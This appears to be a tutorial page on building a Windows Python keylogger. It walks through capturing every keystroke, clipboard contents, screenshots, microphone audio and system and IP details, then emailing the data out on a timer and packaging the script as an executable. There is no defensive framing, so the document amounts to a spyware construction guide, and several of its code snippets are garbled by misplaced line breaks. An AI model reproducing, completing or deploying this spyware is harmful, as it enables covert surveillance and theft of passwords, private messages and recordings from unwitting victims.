hackPress

Keylogger Features:

- Saves every single key and special characters
- Gets Computer Information (RAM, OS) & Network Information (IP Address, MAC Address)
- Clipboard
- Screenshots
- Microphone

Python Libraries:

- MIMEMultipart
- MIMEText
- MIMEBase
- Encoders
- Smtplib
- Socket
- Platform
- Os
- Time
- Pynput
- Sound device
- Image grab
- Win32clipboard
- Scipy.io.wavfile

Platform - Windowszz

CREATING FILES AND APPENDING TO FILES

For multiple parts of the keylogger, we will be appending data to files. Before we append data to files, we must first create variables with the proper extensions. Here are the variables you will need with the proper extensions.

```
system_information = "system.txt" audio_information
= "audio.wav" clipboard_information =
"clipboard.txt" screenshot_information =
"screenshot.png" keys_information = "key_log.txt"
```

LOGGING KEYS

To log keys using python, we will be using the pynput module.

Module to install:

```
from pynput.keyboard import Key, Listener
```

Key Ideas with pynput:

- pynput has multiple functions including on_press, write_file, and on_release
- to understand pynput, follow this tutorial: https://www.youtube.com/watch?v=TbMKwl11itQ

EMAIL

To add an email functionality, we will be using the email module.

Modules to install:

```
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText from
email.mime.base import MIMEBase from email
import encoders import smtplib
```

Key Ideas with email:

- To send with email, follow this tutorial: https://www.geeksforgeeks.org/send-mail-attachment-gmailaccount-using-python/?ref=lbp

COMPUTER INFORMATION

To gather computer information, we will use socket and platform modules.

Modules to install:

```
import socket import
platform
```

Key Ideas with socket:

- The ***hostname = socket.gethostname()*** method gets the hostname
- To get the internal IP address, use ***socket.gethostbyname(hostname)*** method

Key ideas with platform:

- To receive processor information, use the ***platform.processor()*** method
- To get the system and version information use ***platform.system()*** and ***platform.version()***
- To get the machine information, use the **platform.machine()** method

To get external (public facing) IP address, use api.ipify.org

- Use the ***get('https://api.ipify.org').text*** to get external ip

CLIPBOARD

To get the clipboard information, we will be using the win32clipboard module, which is a submodule of pywin32

Module to install:

```
import win32clipboard
```

Key ideas with win32clipboard:

- The person may not have any writeable data for the clipboard (could have copied an image), so make sure to use a try – except block just in case information could not be copied.
- To open clipboard, use the ***win32clipboard.OpenClipboard()***
- To get clipboard information, use the ***win32clipboard.GetClipboardData()***
- To close the clipboard, use the ***win32clipboard.CloseClipboard()***

MICROPHONE

To record with microphone, we will be using the sounddevice module and writing to a .wav file using the scipy.io.wavefile module.

Module to install:

```
from scipy.io.wavfile import write import
sounddevice as sd
```

Key ideas with sounddevice:

- Ensure to set the fs variable: ***fs = 44100***
- Ensure to add a seconds variable: ***seconds = microphone_time***
- To record, use the following code:
  myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) sd.wait()
- To write the recording to a .wav file, use the following code: ***write(filepath, fs, myrecording)***

SCREENSHOT

To take a screenshot, we will use the ImageGrab from the Pillow Module.

Modules to install:

```
from multiprocessing import Process, freeze_support
from PIL import ImageGrab
```

Key Ideas with ImageGrab:

- The ***ImageGrab.grab()*** method takes a screenshot
- To save the image, use the ***image_variable.save()*** method

To ensure only one screenshot is taken at a time, add ***freeze_support().*** Use the following code below:

```
if __name__ == "__main__":

    freeze_support()

    Process(target=screenshot).start()
```

BUILD THE TIMER

To build a timer which goes through a certain number of iterations before the keylogger ends, we will be using the timer function.

Use the following process:

1. Create an iterations variable and set its value to zero (***iterations = 0***)
2. Create an ***end_iterations*** variable which sets to a certain amount of iterations before ending the keylogger (***end_iterations = 5***)
3. Get the current time using the time.time() function, set this equal to a variable (***currentTime = time.time()***)
4. Create a ***time_iteration*** variable which collects the keylogs for a certain period of time in seconds (***time_iteration = 15***)
5. Get the stoppingTime by adding the time.time() function + time_iteration to stop, set this equal to a variable (***stoppingTime = time.time() + time_iteration***)
6. while iterations is less than (<) the ending_iterations…
    a. log keys
7. If the current time is greater than (>) the stopping time…
    a. Take a screenshot
    b. Send screenshot to email
    c. Gather clipboard contents
    d. Add 1 to iterations variable
    e. Get new current time
    f. Get new stopping time

EXEXCUTABLE

Converting our Python Keylogger to an executable can be a little tricky. Python isn't very good at converting scripts and programs into executables because there are often many dependencies (modules) which have to be downloaded. To turn this keylogger into an executable, I recommend using one of two programs… I have included some helpful tutorials which can help you convert your Python programs into executables.

- pyinstaller: https://www.youtube.com/watch?v=lOIJIk_maO4
- Auto PY to EXE: https://www.youtube.com/watch?v=OZSZHmWSOeM

Thank You.